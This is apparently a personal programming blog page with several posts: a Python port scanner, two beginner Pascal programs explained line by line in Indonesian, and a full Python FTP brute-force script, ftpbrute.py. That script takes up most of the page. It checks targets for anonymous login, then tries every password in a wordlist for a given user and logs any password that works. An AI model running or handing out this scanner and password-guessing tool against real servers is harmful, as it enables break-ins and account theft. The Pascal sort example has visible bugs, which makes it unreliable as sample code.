break a time, with break the c0de…

Posts tagged “program

portscanner.py


This is python port scanner finished by me :This is python port scanner finished by me :

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -*- port scanner by gunslinger_ feb 9 2010
# -*- usage : ./portscanner -t [targethost] -s [startport] -e [endport]
 
import sys
from socket import *

asciitext = '''
                   _                                          
                  | |                                         
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __ 
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |   
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|   
 | |                                                          
 |_|                                               by gunslinger_  '''

option = '''
Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

'''

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
           hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-s' or arg.lower() == '--start':
           startport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-e' or arg.lower() == '--end':
	   endport = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
	  print (asciitext)
	  print (option)
	  sys.exit
	elif len(sys.argv) <= 1 or 2 or 3 or 4 or 5 or 6:
	  print (asciitext)
	  print (option)
	  sys.exit()
 
for port in range(int(startport), int(endport)):
    try:
      socket(AF_INET, SOCK_STREAM).connect((hostname, port)); 
      print "[+] port is open ::", port
    except: 
      pass

Example :

                   _
                  | |
  _ __   ___  _ __| |_   ___  ___  __ _ _ __  _ __   ___ _ __
 | '_ \ / _ \| '__| __| / __|/ __|/ _` | '_ \| '_ \ / _ \ '__|
 | |_) | (_) | |  | |_  \__ \ (__| (_| | | | | | | |  __/ |
 | .__/ \___/|_|   \__| |___/\___|\__,_|_| |_|_| |_|\___|_|
 | |
 |_|                                               by gunslinger_

Usage: ./portscanner.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -s, --start     <portstart>     |   Number start port scanning
         -e, --end       <portend>       |   Number end port scanning
         -h, --help      <help>          |   print this help

Example: ./portscanner.py -t 192.168.1.1 -s 0 -e 8000

gunslinger@localhost:~/python/python_documenter$

Advertisements

ular berjalan (snake)


berikut adalah program simple ular berjalan tanpa kontrolernya.

program ular_berjalan;
uses crt;
var
x : byte;
 begin
 clrscr;
 while x<100 do
 begin
 gotoxy(1+x,10);
 write(' ');
 write('0oSnAkEo0`o`');
 delay(1000);
 x:=x+1;
 end;
end.

penjelasan :

line 1 : nama program ular berjalan
line 2 : menggunakan kompiler pascal 98 DOS
line 3 : tentukan variable
line 4 : variable x sama dengan byte
line 5 : mulai program !!!
line 6 : bersihkan layar
line 7 : selagi nilai x lebih kecil dari nilai 100
line 8 : memulai subprogram
line 9 : pointer pergi ke xy 10 kemudian tambah 1 , lalu tambah 1 dan seterusnya sampai nilainya 99
line 10: tulis kosong, *Tips : ini hanya untuk perpindahan pointer
line 11: menulis 0oSnAkEo0`o`
line 12: variable byte x ditambah 1
line 13: sebelum x bernilai 99 maka akan terus berputar subprogramnya…
line 14: akhir dari program, jika syarat terpenuhi.

dengan beberapa code tersebut, maka akan seperti ular yang berjalan pada layar screen.
namun, saya tidak membuat kontrolernya (readkey) maka ular akan terus berjalan kekanan…

ok sekian dulu.


simple sort


berikut adalah program pascal simple sort

Program simple_sort;
Uses crt;
Var
 Data : array [1..5] of byte;
 X,y,z : byte;
Begin
 Data [1] := 5;
 Data [2] := 4;
 Data [3] := 3;
For x:= 1 to 5 do write (data [x]);
For x:= 1 to 5 do;
 Begin
 For z:= x + 1 to 5 do
 If data [x] > data [z] then
 Y:= data [x];
 Data [x] := data [z];
 Data [z] := y;
 End;
End.

Penjelasan :

line 1 : Menamakan program simple sort (tidak mutlak)
line 2 : Menggunakan compiler pascal 98 DOS / bisa menggunakan use wincrt pada compiler pascal yang jaman windows
line 3 : Tentukan variable
line 4 : Data adalah array dari 1 sampai 5
line 5 : Variable x, y, z adalah byte
line 6 : Begin – Mulai program . seperti halnya kurung kurawal pada c maka juga akan ada penutup nya ({ })
line 7 : Array data 1 berisi nilai 5
line 8 : Array data 2 berisi nilai 4
line 9 : Array data 3 berisi nilai 3
line 10: Untuk nilai x = 1 menuju ke 5 , lalu menulis data byte x
line 11: Untuk nilai x = 1 menuju ke 5
line 12: Memulai program di dalam program . disebut juga program tersarang
line 13: Untuk nilai z = 1 menuju ke 5
line 14: Jika data x lebih besar dari data z kemudian
line 15: Data array Y sama dengan data array X
line 16: Data array Z sama dengan nilai variabel y
line 17: Akhir dari program tersarang, tetapi jika syarat telah terpenuhi.
line 18: Akhir dari program, jika semua syarat program telah terpenuhi.

Inti program tersebut adalah pertukaran data pada syarat2 tertentu (bubble sort).
Ok, sampai disini dulu selanjutnya saya akan menjelaskan analogi programnya.


ftpbrute.py


ftpbrute.py is An automated script for FTP dictionary attack (bruteforce)

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
# This is ftp brute force tools [Updated].
# This was written for educational purpose and pentest only. Use it at your own risk.
# Update : More efficient
#	 : prevent loss added
#	 : Anonymous checker added
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.5
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk

import sys
import time
import os
from ftplib import FTP

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
	SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
	SysCls = 'cls'
else:
	SysCls = 'unknown'

log = "ftpbrute.log"

face = 	'''
           .___             .__ .__                  _______       .___
         __| _/ ____ ___  __|__||  |  ________  ____ \   _  \    __| _/ ____     ____ _______   ____ __  _  __
        / __ |_/ __ \\\  \/ /|  ||  |  \___   /_/ ___\/  /_\  \  / __ |_/ __ \  _/ ___\\\_  __ \_/ __ \\\ \/ \/ /
       / /_/ |\  ___/ \   / |  ||  |__ /    / \  \___\  \_/   \/ /_/ |\  ___/  \  \___ |  | \/\  ___/ \     /
       \____ | \___  > \_/  |__||____//_____ \ \___  >\_____  /\____ | \___  >  \___  >|__|    \___  > \/\_/
            \/     \/                       \/     \/       \/      \/     \/       \/             \/
												http://www.devilzc0de.com
												by : gunslinger_
ftpbrute.py version 1.0
Brute forcing ftp target
Programmmer : gunslinger_
gunslinger[at]devilzc0de[dot]com
_____________________________________________________________________________________________________________________________________________
'''

option = '''
Usage: ./ftpbrute.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -u, --user      <user>          |   User for bruteforcing
         -w, --wordlist  <filename>      |   Wordlist used for bruteforcing
         -h, --help      <help>          |   print this help

Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt

'''

file = open(log, "a")

def MyFace() :
	os.system(SysCls)
	print face
	file.write(face)

def HelpMe() :
	MyFace()
	print option
	file.write(option)
	sys.exit(1)

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
            hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-u' or arg.lower() == '--user':
            user = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-w' or arg.lower() == '--wordlist':
            wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
        	HelpMe()
	elif len(sys.argv) <= 1:
		HelpMe()

def checkanony() :
	try:
		print "\n[+] Checking for anonymous login\n"
		ftp = FTP(hostname)
		ftp.login()
		ftp.retrlines('LIST')
		print "\n[!] Anonymous login successfuly !\n"
		ftp.quit()
	except Exception, e:
        	print "\n[-] Anonymous login unsuccessful...\n"
		pass

def BruteForce(word) :
	print "[?]Trying :",word
	file.write("\n[?]Trying :"+word)
     	try:
		ftp = FTP(hostname)
		ftp.login(user, word)
		ftp.retrlines('list')
		ftp.quit()
		print "\n\t[!] Login Success ! "
		print "\t[!] Username : ",user, ""
		print "\t[!] Password : ",word, ""
		print "\t[!] Hostname : ",hostname, ""
		print "\t[!] Log all has been saved to",log,"\n"
		file.write("\n\n\t[!] Login Success ! ")
		file.write("\n\t[!] Username : "+user )
		file.write("\n\t[!] Password : "+word )
		file.write("\n\t[!] Hostname : "+hostname)
		file.write("\n\t[!] Log all has been saved to "+log)
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Aborting...\n"
		file.write("\n[-] Aborting...\n")
		sys.exit(1)

MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
checkanony()

try:
	preventstrokes = open(wordlist, "r")
	words 	       = preventstrokes.readlines()
	count          = 0
	while count < len(words):
		words[count] = words[count].strip()
		count += 1
except(IOError):
  	print "\n[-] Error: Check your wordlist path\n"
	file.write("\n[-] Error: Check your wordlist path\n")
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
	BruteForce(word.replace("\n",""))

file.close()


http://www.skyway.co.id/administrator/components/ftpbrute.py